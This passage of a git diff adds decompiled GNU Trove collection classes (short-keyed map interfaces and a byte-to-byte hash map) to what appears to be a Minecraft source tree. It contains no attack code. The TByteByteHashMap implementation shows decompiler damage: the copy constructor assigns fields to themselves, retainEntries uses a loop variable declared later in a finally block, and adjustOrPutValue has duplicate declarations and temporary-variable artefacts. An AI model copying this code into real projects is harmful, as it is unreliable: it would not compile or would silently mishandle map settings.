+  public abstract void putAll(TShortDoubleMap paramTShortDoubleMap);
+  
+  public abstract double get(short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract double remove(short paramShort);
+  
+  public abstract int size();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract TShortDoubleIterator iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TShortDoubleProcedure paramTShortDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TShortDoubleProcedure paramTShortDoubleProcedure);
+  
+  public abstract boolean increment(short paramShort);
+  
+  public abstract boolean adjustValue(short paramShort, double paramDouble);
+  
+  public abstract double adjustOrPutValue(short paramShort, double paramDouble1, double paramDouble2);
+}
diff --git a/src/minecraft/gnu/trove/map/TShortFloatMap.java b/src/minecraft/gnu/trove/map/TShortFloatMap.java
new file mode 100644
index 0000000..cc9b904
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortFloatMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TShortFloatIterator;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TShortFloatProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TShortFloatMap
+  extends Serializable
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract float getNoEntryValue();
+  
+  public abstract float put(short paramShort, float paramFloat);
+  
+  public abstract float putIfAbsent(short paramShort, float paramFloat);
+  
+  public abstract void putAll(Map<? extends Short, ? extends Float> paramMap);
+  
+  public abstract void putAll(TShortFloatMap paramTShortFloatMap);
+  
+  public abstract float get(short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract float remove(short paramShort);
+  
+  public abstract int size();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract TFloatCollection valueCollection();
+  
+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract TShortFloatIterator iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TShortFloatProcedure paramTShortFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TShortFloatProcedure paramTShortFloatProcedure);
+  
+  public abstract boolean increment(short paramShort);
+  
+  public abstract boolean adjustValue(short paramShort, float paramFloat);
+  
+  public abstract float adjustOrPutValue(short paramShort, float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/gnu/trove/map/TShortIntMap.java b/src/minecraft/gnu/trove/map/TShortIntMap.java
new file mode 100644
index 0000000..53b968d
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortIntMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TShortIntIterator;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TShortIntProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TShortIntMap
+  extends Serializable
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract int getNoEntryValue();
+  
+  public abstract int put(short paramShort, int paramInt);
+  
+  public abstract int putIfAbsent(short paramShort, int paramInt);
+  
+  public abstract void putAll(Map<? extends Short, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TShortIntMap paramTShortIntMap);
+  
+  public abstract int get(short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int remove(short paramShort);
+  
+  public abstract int size();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract TShortIntIterator iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TShortIntProcedure paramTShortIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TShortIntProcedure paramTShortIntProcedure);
+  
+  public abstract boolean increment(short paramShort);
+  
+  public abstract boolean adjustValue(short paramShort, int paramInt);
+  
+  public abstract int adjustOrPutValue(short paramShort, int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/gnu/trove/map/TShortLongMap.java b/src/minecraft/gnu/trove/map/TShortLongMap.java
new file mode 100644
index 0000000..ae32d7b
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortLongMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TShortLongIterator;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TShortLongProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TShortLongMap
+  extends Serializable
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract long getNoEntryValue();
+  
+  public abstract long put(short paramShort, long paramLong);
+  
+  public abstract long putIfAbsent(short paramShort, long paramLong);
+  
+  public abstract void putAll(Map<? extends Short, ? extends Long> paramMap);
+  
+  public abstract void putAll(TShortLongMap paramTShortLongMap);
+  
+  public abstract long get(short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract long remove(short paramShort);
+  
+  public abstract int size();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract TShortLongIterator iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TShortLongProcedure paramTShortLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TShortLongProcedure paramTShortLongProcedure);
+  
+  public abstract boolean increment(short paramShort);
+  
+  public abstract boolean adjustValue(short paramShort, long paramLong);
+  
+  public abstract long adjustOrPutValue(short paramShort, long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/gnu/trove/map/TShortObjectMap.java b/src/minecraft/gnu/trove/map/TShortObjectMap.java
new file mode 100644
index 0000000..5aa9017
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortObjectMap.java
@@ -0,0 +1,65 @@
+package gnu.trove.map;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.iterator.TShortObjectIterator;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.procedure.TShortObjectProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.util.Collection;
+import java.util.Map;
+
+public abstract interface TShortObjectMap<V>
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract boolean containsValue(Object paramObject);
+  
+  public abstract V get(short paramShort);
+  
+  public abstract V put(short paramShort, V paramV);
+  
+  public abstract V putIfAbsent(short paramShort, V paramV);
+  
+  public abstract V remove(short paramShort);
+  
+  public abstract void putAll(Map<? extends Short, ? extends V> paramMap);
+  
+  public abstract void putAll(TShortObjectMap<V> paramTShortObjectMap);
+  
+  public abstract void clear();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract Collection<V> valueCollection();
+  
+  public abstract V[] values();
+  
+  public abstract <T> T[] values(T[] paramArrayOfT);
+  
+  public abstract TShortObjectIterator<V> iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TObjectProcedure<V> paramTObjectProcedure);
+  
+  public abstract boolean forEachEntry(TShortObjectProcedure<V> paramTShortObjectProcedure);
+  
+  public abstract void transformValues(TObjectFunction<V, V> paramTObjectFunction);
+  
+  public abstract boolean retainEntries(TShortObjectProcedure<V> paramTShortObjectProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TShortShortMap.java b/src/minecraft/gnu/trove/map/TShortShortMap.java
new file mode 100644
index 0000000..8333b9b
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortShortMap.java
@@ -0,0 +1,70 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TShortShortIterator;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.procedure.TShortShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TShortShortMap
+  extends Serializable
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract short getNoEntryValue();
+  
+  public abstract short put(short paramShort1, short paramShort2);
+  
+  public abstract short putIfAbsent(short paramShort1, short paramShort2);
+  
+  public abstract void putAll(Map<? extends Short, ? extends Short> paramMap);
+  
+  public abstract void putAll(TShortShortMap paramTShortShortMap);
+  
+  public abstract short get(short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract short remove(short paramShort);
+  
+  public abstract int size();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract TShortShortIterator iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TShortShortProcedure paramTShortShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TShortShortProcedure paramTShortShortProcedure);
+  
+  public abstract boolean increment(short paramShort);
+  
+  public abstract boolean adjustValue(short paramShort1, short paramShort2);
+  
+  public abstract short adjustOrPutValue(short paramShort1, short paramShort2, short paramShort3);
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TByteByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteByteHashMap.java
new file mode 100644
index 0000000..b97c65e
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteByteHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteByteHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteByteIterator;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.map.TByteByteMap;
+import gnu.trove.procedure.TByteByteProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteByteHashMap
+  extends TByteByteHash
+  implements TByteByteMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient byte[] _values;
+  
+  public TByteByteHashMap() {}
+  
+  public TByteByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TByteByteHashMap(int initialCapacity, float loadFactor, byte noEntryKey, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TByteByteHashMap(byte[] keys, byte[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteByteHashMap(TByteByteMap map)
+  {
+    super(map.size());
+    if ((map instanceof TByteByteHashMap)) {
+      TByteByteHashMap hashmap = (TByteByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldKeys = _set;
+    byte[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _values = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public byte put(byte key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(byte key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private byte doPut(byte key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Byte, ? extends Byte> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Byte, ? extends Byte> entry : map.entrySet()) {
+      put(((Byte)entry.getKey()).byteValue(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TByteByteMap map)
+  {
+    ensureCapacity(map.size());
+    TByteByteIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public byte get(byte key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public byte remove(byte key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TByteSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public byte[] keys()
+  {
+    byte[] keys = new byte[size()];
+    byte[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public byte[] keys(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    byte[] states = _states;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(byte key)
+  {
+    return contains(key);
+  }
+  
+
+  public TByteByteIterator iterator()
+  {
+    return new TByteByteHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TByteProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TByteByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TByteByteProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    byte[] keys = _set;
+    byte[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(byte key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(byte key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; byte[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((byte)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(byte key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TByteSet
+  {
+    protected TKeyView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteByteHashMap.TByteByteKeyHashIterator(TByteByteHashMap.this, TByteByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return TByteByteHashMap.this.contains(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!TByteByteHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TByteSet)) {
+        return false;
+      }
+      TByteSet that = (TByteSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TByteCollection
+  {
+    protected TValueView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteByteHashMap.TByteByteValueHashIterator(TByteByteHashMap.this, TByteByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      byte[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteByteHashMap.this.clear();
+    }
+    
+
